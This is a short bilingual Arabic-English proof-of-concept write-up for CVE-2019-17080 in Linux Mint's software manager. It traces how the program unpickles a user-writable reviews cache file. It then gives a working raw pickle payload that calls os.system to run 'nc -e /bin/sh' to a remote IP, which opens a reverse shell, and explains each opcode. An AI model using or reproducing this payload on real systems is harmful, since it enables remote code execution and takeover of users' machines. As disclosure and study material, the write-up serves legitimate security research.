
CVE-2019-17080
مدير برامج لينكس مينت (الإصدار 7.9.5/9) بسبب سوء التهيئة يتسبب في تنفيذ حقن كائنات وتشغيل أكواد عشوائية.
Linux mint software manager (v 7.9.5/9) causes us to execute object injection and arbitrary code due to incorrect configuration
mintinsall
عند تشغيل مدير برامج مينت، يتحقق من وجود تعليقات جديدة، وفي حال وجودها يقوم بتنزيلها من new-reviews.list وكتابتها في الملف.
If there is a new comment new-reviews.list download from and write to file.

code mintinstall.py
عند بدء تشغيل مدير البرامج لأول مرة، يستدعي الفئة ReviewCache() من وحدة المراجعات.
When the software manager first starts, it calls the ReviewCache() class from the reviews module.

code reviews.py
عند بدء تشغيل الفئة ReviewCache (في __init__) تقوم باستدعاء الدالة _load_cache().
When the ReviewCache class starts (init) it calls _load_cache()

دالة تحميل الذاكرة المؤقتة تقرأ الملف الموجود في المتغير REVIEWS_CACHE وتقوم بإلغاء تسلسل البيانات داخل الملف بمساعدة وحدة pickle وتحتفظ ببعض القيم في الذاكرة.
The Load cache function reads the file in the REVIEWS_CACHE variable and unserializes the data in the file with the help of the pickle module and holds some values in memory.

عند فحص الملف، يبدو أن لدي صلاحية الكتابة.
When I check the file, it looks like I'm allowed to write.

بما أننا نستطيع إجراء عمليات التسلسل/إلغاء التسلسل باستخدام وحدة Pickle، يمكننا تضمين الوحدة وتنفيذ أكواد عشوائية باستخدام دالة reduce.
Pickle since we can perform serialize/unserialize operations with the module, we can include the module and execute arbitrary code using the reduce method.

في هذه الحالة، إذا تمت محاولة إلغاء تسلسل الملف، فسيتم تشغيل الكود الضار.
If you attempt to unserialize the file, our malicious code will work.
cos
system
(S'nc -e /bin/sh 192.168.2.138 4545'
tR.
>> اسم الوحدة c{os}
>> الدالة
( >> كائن العلامة
S >> قراءة حتى نهاية الاقتباس ووضعه في المكدس
tR. >> استدعاء ما في المكدس ووضع النتيجة في المكدس

